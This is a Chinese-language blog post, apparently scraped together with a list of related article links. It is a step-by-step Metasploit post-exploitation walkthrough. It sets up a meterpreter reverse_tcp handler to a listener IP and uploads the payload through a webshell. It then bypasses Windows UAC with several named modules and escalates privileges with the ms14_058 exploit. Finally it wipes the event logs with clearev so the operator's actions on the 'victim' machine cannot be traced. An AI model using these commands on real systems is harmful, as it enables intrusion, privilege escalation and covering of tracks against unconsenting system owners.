在获得webshell时但权限不够大,这时候为了完全获得受害者机器的权限,使用msf进行后渗透。

一、获取Meterpreter会话

Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。

(1) 使用msfvenom生成payload

常用命令:

(2)本地监听

监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。

Msfconsole 打开Metaploit

msf>use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.204.129

(3)将生成的payload通过webshell上传到服务器,要上传到可读写的区域并执行



成功监听获得meterpreter(一个session(会话))



Getuid 查看主机名



也可以输入shell变成命令行模式,输入exit返回到meterpeter shell模式





输入background命令让当前会话保存到后台



使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

(4)Exploit 进行提权(UAC提权)

用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。

msf提供了bypassuac模块帮助绕过UAC:



在使用bypassuac模块进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(既“仅在程序试图更改我的计算机时通知我”),bypassuac模块运行时,会在目标机器上创建多个文件,这些文件很有可能会被杀毒软件识别。

bypassuac模块介绍

use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。

use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率

use exploit/windows/local/bypassuac_fodhelper # 该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

use exploit/windows/local/bypassuac_eventvwr #该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

use exploit/windows/local/bypassuac_comhijack #此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。

use exploit/windows/local/bypassuac_windows_store #通过模拟可信目录绕过UAC

use exploit/windows/local/bypassuac_sdclt #Sdclt用于Windows备份和还原机制的上下文中

1.第一次尝试三个模块都无法获得权限

因为webshell权限只是user,这需要权限在adminisartor组中







bypassuac 执行成功后会返回一个新的 meterpreter,此时再输入 shell 进入系统 cmd 查看权限,权限级别已经由 medium 变成了 high。

除此之外还有很多其他的提权脚本,可以根据 systeminfo 查出来的补丁和提权脚本做对比,若相关的利用脚本没有安装相应的补丁,则可针对性的进行提权操作。

这里用bypassuac_injection成功提权



但是对新版的的win10没有一个可以成功绕过。

2.也可以尝试使用windwos的漏洞进行提权,可以用metaspolit的内置模块

use post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

set session id #id是已经获得的session号

当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用

use post/multi/recon/local_exploit_suggester



详细利用在另一篇文章

发现可能的漏洞后可以找到对应exp的模块:

如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。

msf5 > use exploit/windows/local/ms14_058_track_popup_menu
msf5 > exploit(ms14_058_track_popup_menu) > set session 1
msf5 > exploit(ms14_058_track_popup_menu) > exploit

日志清除

清除日志

再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。

包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。

未清除日志前可查看系统记录的一些处理信息。



然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。



命令运行后,再到靶机的日志查看器中查看,日志已经被清除。

metaspolit下UAC提权以及日志清除的更多相关文章

  1. metasploit下Windows下多种提权方式

    前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病 ...

  2. Linux下漏洞提权

    Linux下的漏洞提权 linux下一般都是系统漏洞提权,分为以下几个步骤:

  3. LINUX下渗透提权之嗅探技术

    内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误 区.但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设 ...

  4. Linux sudo用户提权与日志审计

    一.格式说明及常用配置选项 格式: 用户或组 主机=授权可以使用哪个用户的权限 可以执行的命令 User_Alias 用户定义别名(别名可以是用户,用户组(用户组前面要加%))例:User_Alias ...

  5. windows UAC 提权实验(CVE-2019-1388)

    --------------------------------------------------------------------------------- 声明:本文仅做学习,实验主机为虚拟机 ...

  6. C++ UAC 提权 以一个管理员身份运行程序

    这里是我编译的和一个测试Demo:http://pan.baidu.com/s/1qWNgC6C 大家如果看我下边的不是很清楚,可以下载这个具体工程: 群:103197177 C++进阶讨论:欢迎喜欢 ...

  7. CVE-2019-1388 Windows UAC提权

    漏洞简述 该漏洞位于Windows的UAC(User Account Control,用户账户控制)机制中.默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desk ...

  8. CVE-2019-1388 UAC提权复现

    0x01 前言 该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中.默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示--Secure D ...

  9. WIN7/8/10下批处理提权工具

    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 自动添加批处 ...

随机推荐

  1. sharding-jdbc源码解析

    参考博客:https://cloud.tencent.com/developer/article/1529692 看sharding-jdbc支持XA协议重点看下面的代码 sharding-trans ...

  2. 入门大数据---Kafka生产者详解

    一.生产者发送消息的过程 首先介绍一下 Kafka 生产者发送消息的过程: Kafka 会将发送消息包装为 ProducerRecord 对象, ProducerRecord 对象包含了目标主题和要发 ...

  3. Dubbo想要个网关怎么办?试试整合Spring Cloud Gateway

    一.背景 在微服务架构中 API网关 非常重要,网关作为全局流量入口并不单单是一个反向路由,更多的是把各个边缘服务(Web层)的各种共性需求抽取出来放在一个公共的"服务"(网关)中 ...

  4. MyEclipse 选中属性或方法后 相同的不变色

    myeclipse-->windows-->java-->Editor-->content Assist-->Mark Occurrencmyeclipse-->w ...

  5. 【写法总结】$.ajax与$.post、$.get 写法区别

    原文: https://www.cnblogs.com/asdyzh/p/9807264.html   后台代码: [HttpPost] public string DoLogin(string us ...

  6. Python之浅谈深浅拷贝

    目录 深浅拷贝 拷贝 浅拷贝 深拷贝 深浅拷贝 拷贝 s=['tim','age'] s2=s #这里的s2列表指向与s相同的id 当s2为s的拷贝对象时,s内的可变类型变化,s2变化;s内的不可变类 ...

  7. FTP学习

    FTP服务的使用 一.LVM理论 介绍 FTP用于在Internet 上控制文件的双向传输. FTP的主要作用就是让用户连接一 个远程计算机(这些计算机上 运行着FTP服务器程序) ,并查看远程计算机 ...

  8. 每天一个Linux命令(mkdir)

    每天一个Linux命令(mkdir) mkdir: /bin/mkdir,创建目录( make directories)语法:mkdir [选项]... 不存在的目录...目录:默认时必须该目录不存在 ...

  9. LNMP(Linux+Nginx+MySQL+PHP) yum方式安装Redis

    一.环境信息 CentOS Linux release 8.1.1911 (Core) Redis server v=5.0.3 二.yum方式安装 1.添加EPEL仓库 sudo yum insta ...

  10. TensorFlow中的显存管理器——BFC Allocator

    背景 作者:DeepLearningStack,阿里巴巴算法工程师,开源TensorFlow Contributor] 使用GPU训练时,一次训练任务无论是模型参数还是中间结果都需要占用大量显存.为了 ...